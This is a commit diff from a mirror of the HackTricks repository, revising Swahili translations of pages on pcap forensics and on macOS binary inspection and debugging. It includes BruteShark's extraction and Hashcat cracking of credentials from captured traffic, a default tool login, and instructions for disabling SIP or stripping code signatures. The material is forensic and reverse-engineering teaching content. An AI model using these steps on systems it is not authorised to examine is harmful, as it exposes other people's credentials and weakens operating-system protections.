mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol
This commit is contained in:
parent
2c5a5bc4f6
commit
882a1fd9b1
11 changed files with 1003 additions and 824 deletions
|
@ -637,6 +637,7 @@
|
|||
* [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
|
||||
* [Unicode Injection](pentesting-web/unicode-injection/README.md)
|
||||
* [Unicode Normalization](pentesting-web/unicode-injection/unicode-normalization.md)
|
||||
* [UUID Insecurities](pentesting-web/uuid-insecurities.md)
|
||||
* [WebSocket Attacks](pentesting-web/websocket-attacks.md)
|
||||
* [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
|
||||
* [XPATH injection](pentesting-web/xpath-injection.md)
|
||||
|
|
|
@ -2,26 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **malengo ya kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Taarifa kuhusu **PCAP** dhidi ya **PCAPNG**: kuna matoleo mawili ya muundo wa faili ya PCAP; **PCAPNG ni mpya na haitegemezwi na zana zote**. Unaweza kuhitaji kubadilisha faili kutoka PCAPNG kwenda PCAP kwa kutumia Wireshark au zana nyingine inayoweza kufanya kazi nayo katika zana nyingine.
|
||||
Taarifa kuhusu **PCAP** dhidi ya **PCAPNG**: kuna matoleo mawili ya muundo wa faili ya PCAP; **PCAPNG ni mpya na haitegemezwi na zana zote**. Unaweza kuhitaji kubadilisha faili kutoka PCAPNG kwenda PCAP kwa kutumia Wireshark au zana nyingine inayoweza kufanya kazi nayo kwenye zana nyingine.
|
||||
{% endhint %}
|
||||
|
||||
## Zana za mtandaoni kwa pcaps
|
||||
|
@ -29,6 +29,7 @@ Taarifa kuhusu **PCAP** dhidi ya **PCAPNG**: kuna matoleo mawili ya muundo wa fa
|
|||
* Ikiwa kichwa cha pcap yako kime **haribika** unapaswa kujaribu **kusahihisha** kutumia: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Chunguza **taarifa** na tafuta **programu hasidi** ndani ya pcap kwenye [**PacketTotal**](https://packettotal.com)
|
||||
* Tafuta **shughuli za uovu** kwa kutumia [**www.virustotal.com**](https://www.virustotal.com) na [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
* **Uchambuzi kamili wa pcap kutoka kwenye kivinjari kwenye** [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
## Chunguza Taarifa
|
||||
|
||||
|
@ -37,7 +38,7 @@ Zana zifuatazo ni muhimu kutoa takwimu, faili, n.k.
|
|||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**Ikiwa utauchambua PCAP lazima ujue jinsi ya kutumia Wireshark**
|
||||
**Ikiwa utaenda kuchambua PCAP lazima ujue jinsi ya kutumia Wireshark**
|
||||
{% endhint %}
|
||||
|
||||
Unaweza kupata mbinu za Wireshark katika:
|
||||
|
@ -46,9 +47,13 @@ Unaweza kupata mbinu za Wireshark katika:
|
|||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
Uchambuzi wa pcap kutoka kwenye kivinjari.
|
||||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(tu linux)_ inaweza **kuchambua** pcap na kutoa taarifa kutoka kwake. Kwa mfano, kutoka kwa faili ya pcap, Xplico inachambua kila barua pepe (itifaki za POP, IMAP, na SMTP), yaliyomo yote ya HTTP, kila simu ya VoIP (SIP), FTP, TFTP, na kadhalika.
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(pekee kwa linux)_ inaweza **kuchambua** pcap na kutoa taarifa kutoka kwake. Kwa mfano, kutoka kwa faili ya pcap, Xplico, hutoa kila barua pepe (itifaki za POP, IMAP, na SMTP), yaliyomo yote ya HTTP, kila simu ya VoIP (SIP), FTP, TFTP, na kadhalika.
|
||||
|
||||
**Sakinisha**
|
||||
```bash
|
||||
|
@ -62,14 +67,14 @@ sudo apt-get install xplico
|
|||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Fikia _**127.0.0.1:9876**_ na sifa za kuingia ni _**xplico:xplico**_
|
||||
Fikia _**127.0.0.1:9876**_ na siri ni _**xplico:xplico**_
|
||||
|
||||
Kisha tengeneza **kisa kipya**, tengeneza **kikao kipya** ndani ya kisa na **pakia faili ya pcap**.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Kama Xplico ni chombo cha **uchambuzi na kuchimbua vitu kutoka kwa pcaps**. Ina toleo la bure ambalo unaweza **kupakua** [**hapa**](https://www.netresec.com/?page=NetworkMiner). Inafanya kazi na **Windows**.\
|
||||
Chombo hiki pia ni muhimu kupata **habari nyingine zilizochambuliwa** kutoka kwa pakiti ili kuweza kujua kilichokuwa kikiendelea kwa njia **haraka**.
|
||||
Chombo hiki pia ni muhimu kupata **habari nyingine zilizochambuliwa** kutoka kwa pakiti ili kuweza kujua kilichokuwa kikiendelea kwa njia ya **haraka**.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
|
@ -79,10 +84,10 @@ Hii ni chombo kingine muhimu ambacho **huchambua pakiti** na kupanga habari kwa
|
|||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* Kuchimbua na kuweka majina ya mtumiaji na nywila (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* Kuchimbua alama za uthibitisho na kuzivunja kwa kutumia Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Kujenga ramani ya mtandao ya kuona (Vifaa vya mtandao & watumiaji)
|
||||
* Kuchimbua vibambo vya uthibitishaji na kuvunja kwa kutumia Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Jenga ramani ya mtandao ya kuona (Nodes ya Mtandao & watumiaji)
|
||||
* Kuchimbua maswali ya DNS
|
||||
* Kurekebisha vikao vyote vya TCP & UDP
|
||||
* Rekebisha vikao vyote vya TCP & UDP
|
||||
* Uchongaji wa Faili
|
||||
|
||||
### Capinfos
|
||||
|
@ -91,7 +96,7 @@ capinfos capture.pcap
|
|||
```
|
||||
### Ngrep
|
||||
|
||||
Ikiwa unatafuta kitu ndani ya pcap unaweza kutumia ngrep. Hapa kuna mfano ukitumia vichujio vikuu:
|
||||
Ikiwa unatafuta kitu ndani ya pcap unaweza kutumia **ngrep**. Hapa kuna mfano ukitumia vichujio vikuu:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
|
@ -132,15 +137,15 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) ni chombo ambacho
|
||||
|
||||
* Huisoma Faili ya PCAP na Kuchambua Mtiririko wa Http.
|
||||
* Huisoma Faili ya PCAP na Kutoa Mtiririko wa Http.
|
||||
* gzip hupunguza mtiririko wowote uliopimwa
|
||||
* Huchunguza kila faili na yara
|
||||
* Inachunguza kila faili na yara
|
||||
* Huiandika ripoti.txt
|
||||
* Kwa hiari huihifadhi faili zinazolingana kwenye Dir
|
||||
|
||||
### Uchambuzi wa Programu Hasidi
|
||||
|
||||
Angalia kama unaweza kupata alama yoyote ya programu hasidi inayojulikana:
|
||||
Angalia ikiwa unaweza kupata alama yoyote ya programu hasidi inayojulikana:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
|
@ -148,9 +153,9 @@ Angalia kama unaweza kupata alama yoyote ya programu hasidi inayojulikana:
|
|||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) ni chombo cha uchambuzi wa mtiririko wa mtandao wa chanzo wazi. Watoa huduma wengi hutumia Zeek kama Mfuatiliaji wa Usalama wa Mtandao (NSM) kusaidia uchunguzi wa shughuli za shaka au zenye nia mbaya. Zeek pia inasaidia aina mbalimbali za kazi za uchambuzi wa mtiririko zaidi ya uga wa usalama, ikiwa ni pamoja na upimaji wa utendaji na kutatua matatizo.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) ni mtambulishaji wa mtiririko wa trafiki wa mtandao wa chanzo wazi. Wafanyabiashara wengi hutumia Zeek kama Mfuatiliaji wa Usalama wa Mtandao (NSM) kusaidia uchunguzi wa shughuli za shaka au zenye nia mbaya. Zeek pia inasaidia anuwai kubwa ya kazi za uchambuzi wa trafiki zaidi ya uga wa usalama, ikiwa ni pamoja na upimaji wa utendaji na kutatua matatizo.
|
||||
|
||||
Kimsingi, nyaraka zinazoundwa na `zeek` sio **pcaps**. Kwa hivyo utahitaji kutumia **zana nyingine** kuchambua nyaraka ambapo **taarifa** kuhusu pcaps zinapatikana.
|
||||
Kimsingi, nyaraka zinazoundwa na `zeek` sio **pcaps**. Kwa hivyo utahitaji kutumia **zana nyingine** kuchambua nyaraka ambapo **maelezo** kuhusu pcaps zipo.
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
@ -217,7 +222,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
|||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## Mbinu nyingine za uchambuzi wa pcap
|
||||
## Mbinu zingine za uchambuzi wa pcap
|
||||
|
||||
{% content-ref url="dnscat-exfiltration.md" %}
|
||||
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||
|
@ -248,7 +253,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Programu za macOS - Kuchunguza, kudebugi na Fuzzing
|
||||
# macOS Apps - Ukaguzi, kurekebisha na Fuzzing
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,7 +10,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,7 +20,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wame **vamiwa** na **malware za wizi**.
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malware za kuiba taarifa.
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malware za wizi wa habari.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
|
||||
|
@ -28,7 +28,7 @@ Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
|||
|
||||
***
|
||||
|
||||
## Uchambuzi Stati
|
||||
## Uchambuzi Stahiki
|
||||
|
||||
### otool
|
||||
```bash
|
||||
|
@ -46,9 +46,11 @@ objdump -m --full-contents /bin/ls # Dump every section
|
|||
objdump -d /bin/ls # Dissasemble the binary
|
||||
objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### jtool2
|
||||
|
||||
Zana inaweza kutumika kama **mbadala** wa **codesign**, **otool**, na **objdump**, na hutoa baadhi ya vipengele vingine vya ziada. [**Pakua hapa**](http://www.newosxbook.com/tools/jtool.html) au isakinishe kwa kutumia `brew`.
|
||||
Zana hii inaweza kutumika kama **mbadala** wa **codesign**, **otool**, na **objdump**, na hutoa baadhi ya vipengele vingine vya ziada. [**Pakua hapa**](http://www.newosxbook.com/tools/jtool.html) au isakinishe kwa kutumia `brew`.
|
||||
```bash
|
||||
# Install
|
||||
brew install --cask jtool2
|
||||
|
@ -99,7 +101,7 @@ ldid -S/tmp/entl.xml <binary>
|
|||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ni chombo kinachofaa kuchunguza faili za **.pkg** (wakufunzi) na kuona kilichomo ndani kabla ya kuiweka.\
|
||||
Wakufunzi hawa wana skripti za bash za `preinstall` na `postinstall` ambazo waundaji wa zisizo kawaida hutumia kuendelea kuwepo kwa **zisizo**.
|
||||
Wakufunzi hawa wana skripti za bash za `preinstall` na `postinstall` ambazo waundaji wa programu hasidi kawaida hutumia kuendelea kuwepo kwa **programu hasidi**.
|
||||
|
||||
### hdiutil
|
||||
|
||||
|
@ -114,26 +116,26 @@ Itakuwa imemountiwa katika `/Volumes`
|
|||
#### Metadata
|
||||
|
||||
{% hint style="danger" %}
|
||||
Tafadhali kumbuka kwamba programu zilizoandikwa kwa Objective-C **huhifadhi** matangazo yao ya darasa **wakati** **inapohaririwa** kuwa [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Matangazo hayo ya darasa **ni pamoja na** jina na aina ya:
|
||||
Tafadhali kumbuka kuwa programu zilizoandikwa kwa Objective-C **huhifadhi** matangazo yao ya darasa **wakati** **inapohaririwa** kuwa [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Matangazo hayo ya darasa **ni pamoja na** jina na aina ya:
|
||||
{% endhint %}
|
||||
|
||||
* Darasa
|
||||
* Njia za darasa
|
||||
* Vipengele vya kielezo cha darasa
|
||||
|
||||
Unaweza kupata habari hii kwa kutumia [**class-dump**](https://github.com/nygard/class-dump):
|
||||
Unaweza kupata habari hii ukitumia [**class-dump**](https://github.com/nygard/class-dump):
|
||||
```bash
|
||||
class-dump Kindle.app
|
||||
```
|
||||
#### Kuita Kazi
|
||||
|
||||
Wakati kazi inaitwa katika binary inayotumia objective-C, msimbo uliokompiliwa badala ya kuita kazi hiyo, utaita **`objc_msgSend`**. Ambayo itaita kazi ya mwisho:
|
||||
Wakati kazi inaitwa katika binary inayotumia objective-C, msimbo uliokompiliwa badala ya kuita kazi hiyo, itaita **`objc_msgSend`**. Ambayo itaita kazi ya mwisho:
|
||||
|
||||
![](<../../../.gitbook/assets/image (305).png>)
|
||||
|
||||
Vigezo ambavyo kazi hii inatarajia ni:
|
||||
Parameta ambazo kazi hii inatarajia ni:
|
||||
|
||||
* Parameta ya kwanza (**self**) ni "kiashiria kinachoelekeza kwa **kifungu cha darasa ambacho kinapaswa kupokea ujumbe**". Au kwa maneno rahisi, ni kitu ambacho mbinu inaitwa juu yake. Ikiwa mbinu ni mbinu ya darasa, hii itakuwa kifungu cha kitu cha darasa (kwa ujumla), wakati kwa mbinu ya kifungu, self itaelekeza kwa kifungu kilichoundwa cha darasa kama kitu.
|
||||
* Parameta ya kwanza (**self**) ni "kiashiria kinachoelekeza kwa **kifungu cha darasa ambacho kinapaswa kupokea ujumbe**". Au kwa maneno rahisi, ni kitu ambacho mbinu inaitwa juu yake. Ikiwa mbinu ni mbinu ya darasa, hii itakuwa kifungu cha kitu cha darasa (kwa jumla), wakati kwa mbinu ya kifungu, self itaelekeza kwa kifungu kilichoundwa cha darasa kama kitu.
|
||||
* Parameta ya pili, (**op**), ni "chaguo la mbinu inayoshughulikia ujumbe". Tena, kwa maneno rahisi, hii ni tu **jina la mbinu.**
|
||||
* Parameta zilizobaki ni **thamani zozote zinazohitajika na mbinu** (op).
|
||||
|
||||
|
@ -145,21 +147,25 @@ Angalia jinsi ya **kupata habari hii kwa urahisi na `lldb` katika ARM64** kwenye
|
|||
|
||||
x64:
|
||||
|
||||
| **Hoja** | **Kijisajili** | **(kwa) objc\_msgSend** |
|
||||
| ----------------- | -------------------------------------------------------------- | ----------------------------------------------------- |
|
||||
| **Hoja ya 1** | **rdi** | **self: kitu ambacho mbinu inaitwa juu yake** |
|
||||
| **Hoja ya 2** | **rsi** | **op: jina la mbinu** |
|
||||
| **Hoja ya 3** | **rdx** | **Hoja ya 1 kwa mbinu** |
|
||||
| **Hoja ya 4** | **rcx** | **Hoja ya 2 kwa mbinu** |
|
||||
| **Hoja ya 5** | **r8** | **Hoja ya 3 kwa mbinu** |
|
||||
| **Hoja ya 6** | **r9** | **Hoja ya 4 kwa mbinu** |
|
||||
| **Hoja ya 7+** | <p><strong>rsp+</strong><br><strong>(kwenye steki)</strong></p> | **Hoja ya 5+ kwa mbinu** |
|
||||
| **Hoja** | **Kijisajili** | **(kwa) objc\_msgSend** |
|
||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **Hoja ya 1** | **rdi** | **self: kitu ambacho mbinu inaitwa juu yake** |
|
||||
| **Hoja ya 2** | **rsi** | **op: jina la mbinu** |
|
||||
| **Hoja ya 3** | **rdx** | **Hoja ya 1 kwa mbinu** |
|
||||
| **Hoja ya 4** | **rcx** | **Hoja ya 2 kwa mbinu** |
|
||||
| **Hoja ya 5** | **r8** | **Hoja ya 3 kwa mbinu** |
|
||||
| **Hoja ya 6** | **r9** | **Hoja ya 4 kwa mbinu** |
|
||||
| **Hoja ya 7+** | <p><strong>rsp+</strong><br><strong>(kwenye steki)</strong></p> | **Hoja ya 5+ kwa mbinu** |
|
||||
|
||||
### Dynadump
|
||||
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) ni chombo cha kupata Darasa za Objc kutoka kwa dylibs.
|
||||
|
||||
### Swift
|
||||
|
||||
Kwa binaries za Swift, kwa kuwa kuna utangamano wa Objective-C, mara nyingine unaweza kutoa maelezo kwa kutumia [class-dump](https://github.com/nygard/class-dump/) lakini sio kila wakati.
|
||||
Kwa binaries za Swift, kwa kuwa kuna utangamano wa Objective-C, mara nyingine unaweza kutoa maelezo kutumia [class-dump](https://github.com/nygard/class-dump/) lakini sio kila wakati.
|
||||
|
||||
Kwa kutumia amri za **`jtool -l`** au **`otool -l`** ni rahisi kupata sehemu kadhaa zinazoanza na kiambishi cha **`__swift5`**:
|
||||
Kwa kutumia mistari ya amri ya **`jtool -l`** au **`otool -l`** ni rahisi kupata sehemu kadhaa zinazoanza na kiambishi cha **`__swift5`**:
|
||||
```bash
|
||||
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
|
||||
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
|
||||
|
@ -173,7 +179,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
|||
```
|
||||
Unaweza kupata habari zaidi kuhusu [**habari zilizohifadhiwa katika sehemu hizi katika chapisho hili la blogi**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
|
||||
|
||||
Zaidi ya hayo, **Binaries za Swift zinaweza kuwa na alama** (kwa mfano maktaba hulazimika kuhifadhi alama ili kazi zake ziweze kuitwa). **Alama kwa kawaida huwa na habari kuhusu jina la kazi** na sifa kwa njia isiyovutia, hivyo ni muhimu sana na kuna "**wachambuzi"** ambao wanaweza kupata jina halisi:
|
||||
Zaidi ya hayo, **Binaries za Swift zinaweza kuwa na alama** (kwa mfano maktaba zinahitaji kuhifadhi alama ili kazi zake ziweze kuitwa). **Alama kwa kawaida zina habari kuhusu jina la kazi** na sifa kwa njia isiyovutia, hivyo ni muhimu sana na kuna "**wadondoa alama"** ambao wanaweza kupata jina halisi:
|
||||
```bash
|
||||
# Ghidra plugin
|
||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
|
@ -183,61 +189,84 @@ swift demangle
|
|||
```
|
||||
### Binaries zenye kufungwa
|
||||
|
||||
* Angalia kwa entropy kubwa
|
||||
* Angalia entropy kubwa
|
||||
* Angalia strings (kama hakuna string inayoeleweka, imefungwa)
|
||||
* Packer wa UPX kwa MacOS huzalisha sehemu inayoitwa "\_\_XHDR"
|
||||
|
||||
## Uchambuzi wa Kudumu
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kwamba ili kudebug binari, **SIP inahitaji kuzimwa** (`csrutil disable` au `csrutil enable --without debug`) au nakala ya binari iwekwe kwenye folda ya muda na **iondolewe saini** na `codesign --remove-signature <njia-ya-binari>` au ruhusu uchambuzi wa binari (unaweza kutumia [script hii](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
Tafadhali kumbuka kwamba ili kudebugi binaries, **SIP inahitaji kuzimwa** (`csrutil disable` au `csrutil enable --without debug`) au nakala binaries kwenye folda ya muda na **ondoa saini** na `codesign --remove-signature <njia-ya-binary>` au ruhusu uchambuzi wa binary (unaweza kutumia [script hii](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kwamba ili **kuweza kufuatilia binari za mfumo**, (kama vile `cloudconfigurationd`) kwenye macOS, **SIP lazima izimwe** (kuondoa saini pekee haitafanya kazi).
|
||||
Tafadhali kumbuka kwamba ili **kuweza kufuatilia binaries za mfumo**, (kama vile `cloudconfigurationd`) kwenye macOS, **SIP lazima izimwe** (kuondoa saini pekee haitafanya kazi).
|
||||
{% endhint %}
|
||||
|
||||
### Kumbukumbu Zilizounganishwa
|
||||
### APIs
|
||||
|
||||
MacOS huzalisha kumbukumbu nyingi ambazo zinaweza kuwa na manufaa sana wakati wa kuendesha programu jaribio kuelewa **inachofanya**.
|
||||
macOS ina APIs zenye kuvutia zinazotoa taarifa kuhusu michakato:
|
||||
|
||||
Zaidi ya hayo, kuna kumbukumbu ambazo zitakuwa na lebo `<private>` ili **kuficha** baadhi ya habari **zinazoweza kutambulika za mtumiaji** au **kompyuta**. Hata hivyo, inawezekana **kufunga cheti** ili kufichua habari hizi. Fuata maelezo kutoka [**hapa**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
* `proc_info`: Hii ni moja kuu inayotoa taarifa nyingi kuhusu kila mchakato. Unahitaji kuwa na ruhusa ya mizizi kupata taarifa za michakato mingine lakini hauitaji ruhusa maalum au mach ports.
|
||||
* `libsysmon.dylib`: Inaruhusu kupata taarifa kuhusu michakato kupitia kazi zilizofunuliwa za XPC, hata hivyo, ni muhimu kuwa na ruhusa ya `com.apple.sysmond.client`.
|
||||
|
||||
### Stackshot & microstackshots
|
||||
|
||||
**Stackshotting** ni mbinu inayotumika kukamata hali ya michakato, ikiwa ni pamoja na mstari wa wito wa nyuzi zote zinazoendesha. Hii ni muhimu hasa kwa kudebugi, uchambuzi wa utendaji, na kuelewa tabia ya mfumo wakati fulani. Kwenye iOS na macOS, stackshotting inaweza kufanywa kwa kutumia zana na njia kadhaa kama vile zana **`sample`** na **`spindump`**.
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
Zana hii (`/usr/bini/ysdiagnose`) kimsingi inakusanya taarifa nyingi kutoka kwenye kompyuta yako ikitekeleza amri nyingi tofauti kama vile `ps`, `zprint`...
|
||||
|
||||
Inapaswa kutekelezwa kama **mizizi** na daemon `/usr/libexec/sysdiagnosed` ina ruhusa za kuvutia sana kama vile `com.apple.system-task-ports` na `get-task-allow`.
|
||||
|
||||
Plist yake iko katika `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` ambayo inatangaza MachServices 3:
|
||||
|
||||
* `com.apple.sysdiagnose.CacheDelete`: Inafuta nyaraka za zamani kwenye /var/rmp
|
||||
* `com.apple.sysdiagnose.kernel.ipc`: Bandari maalum 23 (kernel)
|
||||
* `com.apple.sysdiagnose.service.xpc`: Kiolesura cha mode ya mtumiaji kupitia darasa la `Libsysdiagnose` Obj-C. Vigezo vitatu vinaweza kupitishwa kwenye dict (`compress`, `display`, `run`)
|
||||
|
||||
### Unified Logs
|
||||
|
||||
MacOS inazalisha magogo mengi ambayo yanaweza kuwa na manufaa sana wakati wa kukimbia programu jaribio kuelewa **inachofanya**.
|
||||
|
||||
